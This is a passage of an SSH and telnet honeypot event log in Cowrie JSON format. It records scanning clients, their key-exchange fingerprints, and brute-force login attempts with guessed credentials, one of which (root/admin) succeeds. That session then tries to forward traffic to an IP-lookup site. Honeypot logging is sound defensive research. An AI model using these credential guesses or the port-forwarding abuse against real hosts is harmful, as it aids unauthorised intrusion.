-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:54.235229Z","src_ip":"27.79.7.61","session":"760ec407e235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40806,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5b24a1290d1","protocol":"ssh","message":"New connection: 45.153.34.112:40806 (10.17.0.5:22) [session: e5b24a1290d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:54.763312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:54.769000Z","src_ip":"45.153.34.112","session":"e5b24a1290d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:54.852353Z","src_ip":"45.153.34.112","session":"e5b24a1290d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:55.101119Z","src_ip":"45.153.34.112","session":"e5b24a1290d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:56.190266Z","src_ip":"45.153.34.112","session":"e5b24a1290d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":55232,"dst_ip":"10.17.0.5","dst_port":22,"session":"a62e3f199016","protocol":"ssh","message":"New connection: 170.106.177.3:55232 (10.17.0.5:22) [session: a62e3f199016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:57.512887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:57.517630Z","src_ip":"170.106.177.3","session":"a62e3f199016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36292,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad51c49a6bc1","protocol":"telnet","message":"New connection: 192.119.13.58:36292 (10.17.0.5:23) [session: ad51c49a6bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:57.522597Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:57.587329Z","src_ip":"170.106.177.3","session":"a62e3f199016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ceshi","password":"123456","message":"login attempt [ceshi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:57.893246Z","src_ip":"170.106.177.3","session":"a62e3f199016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40850,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5a4a66f0d18","protocol":"ssh","message":"New connection: 45.153.34.112:40850 (10.17.0.5:22) [session: c5a4a66f0d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:58.216805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:58.221657Z","src_ip":"45.153.34.112","session":"c5a4a66f0d18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:58.304041Z","src_ip":"45.153.34.112","session":"c5a4a66f0d18","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:58.462615Z","src_ip":"27.79.7.61","session":"760ec407e235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:58.553059Z","src_ip":"45.153.34.112","session":"c5a4a66f0d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:58.964620Z","src_ip":"170.106.177.3","session":"a62e3f199016","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"27.79.7.61","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:59.075942Z","session":"760ec407e235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43118,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d86ed7a84e8","protocol":"telnet","message":"New connection: 192.119.13.58:43118 (10.17.0.5:23) [session: 7d86ed7a84e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:59.242157Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:59.637884Z","src_ip":"45.153.34.112","session":"c5a4a66f0d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47970,"dst_ip":"10.17.0.5","dst_port":23,"session":"342305595bfe","protocol":"telnet","message":"New connection: 192.119.13.58:47970 (10.17.0.5:23) [session: 342305595bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:00.416029Z"}
{"eventid":"cowrie.session.closed","duration":36.2901566028595,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:01.026117Z","src_ip":"192.119.13.58","session":"8e17a4a3eda5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.84861183166504,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:01.350410Z","src_ip":"192.119.13.58","session":"d9dba3ffeb38","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:01.580990Z","src_ip":"27.79.7.61","session":"760ec407e235","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:01.589388Z","src_ip":"27.79.7.61","session":"760ec407e235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35812,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0d1696bde05","protocol":"ssh","message":"New connection: 45.153.34.112:35812 (10.17.0.5:22) [session: c0d1696bde05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:01.690326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:01.703676Z","src_ip":"45.153.34.112","session":"c0d1696bde05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:01.788438Z","src_ip":"45.153.34.112","session":"c0d1696bde05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:01.882861Z","src_ip":"27.79.7.61","session":"760ec407e235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:02.041519Z","src_ip":"45.153.34.112","session":"c0d1696bde05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57590,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d25f01d52e6","protocol":"telnet","message":"New connection: 192.119.13.58:57590 (10.17.0.5:23) [session: 5d25f01d52e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:02.887259Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:03.281581Z","src_ip":"45.153.34.112","session":"c0d1696bde05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.61190152168274,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:04.246925Z","src_ip":"192.119.13.58","session":"a06ece95bbb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":48344,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fea06b1a567","protocol":"ssh","message":"New connection: 170.238.160.191:48344 (10.17.0.5:22) [session: 8fea06b1a567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:04.705582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:04.710752Z","src_ip":"170.238.160.191","session":"8fea06b1a567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:04.822920Z","src_ip":"170.238.160.191","session":"8fea06b1a567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37846,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad28f989930a","protocol":"telnet","message":"New connection: 192.119.13.58:37846 (10.17.0.5:23) [session: ad28f989930a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:05.141006Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35822,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6ba893beab5","protocol":"ssh","message":"New connection: 45.153.34.112:35822 (10.17.0.5:22) [session: e6ba893beab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:05.146731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:05.152026Z","src_ip":"45.153.34.112","session":"e6ba893beab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:05.237875Z","src_ip":"45.153.34.112","session":"e6ba893beab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"panadepula","message":"login attempt [root/panadepula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:05.303169Z","src_ip":"170.238.160.191","session":"8fea06b1a567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:05.674113Z","src_ip":"45.153.34.112","session":"e6ba893beab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41644,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bac251ea1a8","protocol":"telnet","message":"New connection: 192.119.13.58:41644 (10.17.0.5:23) [session: 7bac251ea1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:06.087430Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:06.421704Z","src_ip":"170.238.160.191","session":"8fea06b1a567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:06.929124Z","src_ip":"45.153.34.112","session":"e6ba893beab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.137362003326416,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:07.310282Z","src_ip":"192.119.13.58","session":"a209c58c817b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":36398,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e958a5bc6c3","protocol":"ssh","message":"New connection: 193.32.162.145:36398 (10.17.0.5:22) [session: 6e958a5bc6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:07.777662Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:07.892952Z","src_ip":"193.32.162.145","session":"6e958a5bc6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.76515555381775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:08.576729Z","src_ip":"77.74.204.176","session":"af8f7d29db00","protocol":"telnet"}
